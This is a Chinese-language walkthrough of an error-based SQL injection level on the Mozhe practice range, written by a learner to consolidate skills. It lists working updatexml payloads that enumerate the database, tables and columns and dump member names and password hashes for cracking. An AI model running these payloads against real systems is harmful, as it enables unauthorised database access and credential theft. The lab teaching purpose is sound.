前言
此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
一、墨者靶场启动
墨者靶场是一个不用自己搭建就可以用的靶场,十分适合懒得搭建靶场又想练习的小白选手。网址在此:https://www.mozhe.cn/
点击访问即可。
二、靶场通关思路
- 1、判断注入点
- 2、爆字段个数
- 3、爆数据库名
- 4、爆数据库表
- 5、爆数据库列
- 6、爆数据库关键信息
1、判断注入点
(如图所示)老规矩用and 1=1 和 and 1=2测试,发现id=1的情况都是正常的,排除数字型。直接提交id=1'
发现页面异常,看报错信息知道可能是单引号闭合。试一试id=1' and 1=2--+
发现报错,1=1是正常。说明是单引号闭合的注入。
2、爆字段个数
注入语句为
id=1' order by 5--+
发现4是正常,5错误,说明有4个显位(如图所示)
3、爆数据库名
如图所示)这里注入语句为
id=1' and updatexml(1,concat(0x3a,(select database()),0x3a),1)--+
得到数据库名字stormgroup
4、爆数据库表
(如图所示)注入语句为
id=1' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a),1)--+
id=1' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x3a),1)--+
得到其中一个重要数据库表名member,另一个也是这个方法,递增limit参数,不懂看sqli-labs文章报错注入。
5、爆数据库列
(如图所示)注入语句为
id=1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="member" limit 0,1),0x3a),1)--+
id=1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="member" limit 1,1),0x3a),1)--+
得到password和name列名,这里只展示password截图。
6、爆数据库关键信息
(如图所示)注入语句为
id=1' and updatexml(1,concat(0x3a,(select password from member limit 0,1),0x3a),1)--+
id=1' and updatexml(1,concat(0x3a,(select password from member limit 1,1),0x3a),1)--+
id=1' and updatexml(1,concat(0x3a,(select name from member limit 0,1),0x3a),1)--+
id=1' and updatexml(1,concat(0x3a,(select name from member limit 1,1),0x3a),1)--+
这里只示范密码,得到两个密码然后MD5解码。得到这个才是有用的851920。账号是mozhe。登录得key
总结
这一关是典型的报错注入,因为页面没有回显,联合查询用不了。如果不懂报错注入可以看我的https://blog.csdn.net/zyh1588/article/details/134023786
这个sqli-labs第五关,有详细讲解。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!